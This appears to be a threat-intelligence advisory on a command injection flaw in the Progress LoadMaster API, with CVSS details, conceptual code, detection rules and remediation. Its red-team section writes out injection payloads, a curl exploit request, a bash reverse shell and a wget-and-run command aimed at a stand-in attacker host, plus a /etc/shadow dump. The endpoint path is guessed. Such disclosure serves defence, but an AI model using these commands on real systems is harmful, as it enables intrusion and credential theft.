CVE-2026-3519

Executive Summary

CVE-2026-3519 is a critical OS Command Injection vulnerability in Progress LoadMaster's API, specifically within the aclcontrol command. An authenticated attacker with "VS Administration" permissions can exploit unsanitized input to execute arbitrary commands on the underlying operating system. This allows for full compromise of the LoadMaster appliance, including data exfiltration, lateral movement, and persistent access. The vulnerability has a CVSS score of 8.4, indicating high severity. A patch is available from Progress.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Progress LoadMaster product's API.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - The attacker must have "VS Administration" permissions.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the LoadMaster appliance.
• Confidentiality (C): High (H) - Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) - The attacker can modify system files and configurations.
• Availability (A): High (H) - The attacker can disrupt services or cause a denial of service.

Threat Level: Critical. While the attack requires authentication, the potential for full system compromise makes this a high-priority vulnerability for any organization using Progress LoadMaster.

Deep Dive & Mechanics

The vulnerability resides in the API endpoint that handles the aclcontrol command. This command is used to manage Access Control Lists (ACLs) on the LoadMaster appliance. The application fails to properly sanitize user-supplied input before passing it to the operating system shell.

Root Cause: The API endpoint likely uses a function like system(), exec(), or popen() in C/C++ or a similar shell execution function in a scripting language (e.g., Python's os.system(), PHP's shell_exec()). The input from the aclcontrol command is concatenated directly into a command string without proper escaping or validation.

Attack Vector:

1. Authentication: The attacker must first authenticate to the LoadMaster API with a user account that has "VS Administration" permissions.
2. Crafting the Payload: The attacker crafts a malicious API request to the vulnerable endpoint. The payload includes the aclcontrol command with injected OS commands. For example, a request might look like:

   POST /api/v1/aclcontrol HTTP/1.1
   Host: loadmaster.example.com
   Authorization: Bearer <token>
   Content-Type: application/json
   
   {"command": "add; whoami"}
   

3. Execution: The server processes the request and executes the command add; whoami in the shell. The semicolon (;) allows the attacker to chain multiple commands. The output of the injected command (whoami) may be returned in the API response or executed silently.
4. Escalation: The attacker can then use this initial foothold to execute more complex commands, download malware, create backdoor users, or pivot to other systems.

Vulnerable vs. Patched Code

The exact code is proprietary, but the vulnerability pattern is classic OS command injection.

Vulnerable Code (Conceptual):

// Vulnerable C/C++ code
void handle_aclcontrol(char *user_input) {
    char command[1024];
    snprintf(command, sizeof(command), "aclcontrol %s", user_input);
    system(command); // Direct execution of unsanitized input
}

Patched Code (Conceptual):

// Patched C/C++ code
void handle_aclcontrol(char *user_input) {
    // Use a whitelist of allowed commands and parameters
    if (is_valid_acl_command(user_input)) {
        // Use a safe API that does not invoke a shell
        execute_acl_command_safe(user_input);
    } else {
        // Log and reject invalid input
        log_error("Invalid ACL command: %s", user_input);
        return_error("Invalid command");
    }
}

The patched version likely:

• Implements input validation using a whitelist of allowed commands and parameters.
• Uses a safe API that does not invoke a shell (e.g., execvp() with a fixed command and arguments).
• Escapes or rejects any shell metacharacters (e.g., ;, |, &, $, `).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Progress LoadMaster appliance (version prior to patch).
• Valid credentials for a user with "VS Administration" permissions.

Exploitation Steps:

1. Authenticate: Obtain an API token or session cookie.
2. Identify Endpoint: The vulnerable endpoint is likely /api/v1/aclcontrol or similar.
3. Craft Payload: Use command injection techniques. Common payloads include:
   • add; id - Execute id command.
   • add|whoami - Pipe output.
   • add$(whoami) - Command substitution.
   • add || whoami - Logical OR.
4. Execute: Send the crafted request.

   curl -X POST https://loadmaster.example.com/api/v1/aclcontrol \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"command": "add; id"}'
   

5. Verify: Check the response for the output of the injected command.
6. Escalate: Use the shell access to:
   • Create a reverse shell: bash -i >& /dev/tcp/attacker.com/4444 0>&1
   • Download and execute a payload: wget http://attacker.com/payload.sh -O /tmp/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh
   • Dump credentials: cat /etc/shadow

Blue Team (Defensive)

Detection & Response:

1. Monitor API Logs: Look for unusual patterns in API requests to the aclcontrol endpoint, especially those containing shell metacharacters (;, |, &, $, `).
2. Audit User Permissions: Immediately review all users with "VS Administration" permissions. Ensure they are necessary and follow the principle of least privilege.
3. Network Segmentation: Isolate LoadMaster appliances in a separate network segment with strict firewall rules.
4. Web Application Firewall (WAF): Deploy or update WAF rules to block command injection attempts.
5. Endpoint Detection and Response (EDR): Monitor for suspicious process execution on the LoadMaster appliance (e.g., bash, wget, curl, nc).
6. Patch Immediately: Apply the vendor-supplied patch as soon as possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • API requests to /api/v1/aclcontrol or similar endpoints containing shell metacharacters.
  • Outbound connections from the LoadMaster appliance to unknown IP addresses on unusual ports (e.g., 4444, 1337).
  • DNS queries to known malicious domains.
• Host IOCs:
  • Unexpected processes running on the LoadMaster appliance (e.g., bash, python, perl, nc, ncat).
  • New user accounts or modifications to /etc/passwd or /etc/shadow.
  • Suspicious files in /tmp or /var/tmp (e.g., payload.sh, exploit).
  • Modified system binaries or configuration files.
• Log IOCs:
  • API logs showing aclcontrol commands with shell metacharacters.
  • System logs showing execution of unexpected commands (e.g., id, whoami, wget).

Detection Engineering

YARA Rule

rule CVE_2026_3519_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2026-3519 in Progress LoadMaster"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-3519"
    strings:
        $aclcontrol = "aclcontrol" nocase
        $metachar1 = ";" ascii wide
        $metachar2 = "|" ascii wide
        $metachar3 = "&" ascii wide
        $metachar4 = "$" ascii wide
        $metachar5 = "`" ascii wide
    condition:
        $aclcontrol and any of ($metachar*)
}

Sigma Rule

title: CVE-2026-3519 - Progress LoadMaster Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in Progress LoadMaster API logs
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: progress_loadmaster
detection:
    selection:
        cs-uri-query|contains:
            - 'aclcontrol'
            - ';'
            - '|'
            - '&'
            - '$'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in ACL names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3519 Progress LoadMaster Command Injection Attempt"; flow:to_server,established; content:"aclcontrol"; http_uri; nocase; pcre:"/(;|\||&|\$|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Apply the vendor-supplied patch immediately. Contact Progress support for the specific patch details.
2. Workaround: If patching is not immediately possible, restrict access to the LoadMaster API to only trusted IP addresses using firewall rules.
3. Disable Unnecessary Features: If the aclcontrol feature is not required, disable it in the LoadMaster configuration.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation on all API endpoints. Use a whitelist of allowed characters and commands.
2. Least Privilege: Regularly audit user permissions. Ensure that only necessary users have "VS Administration" permissions.
3. Network Segmentation: Place LoadMaster appliances in a DMZ with strict access controls.
4. Monitoring: Implement continuous monitoring of API logs and system logs for suspicious activity.
5. Vulnerability Management: Integrate CVE scanning into your CI/CD pipeline to detect vulnerable software versions.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valtersit.com.

{/* [Security Hash: 693C89864D925F98D79F6ED9] */}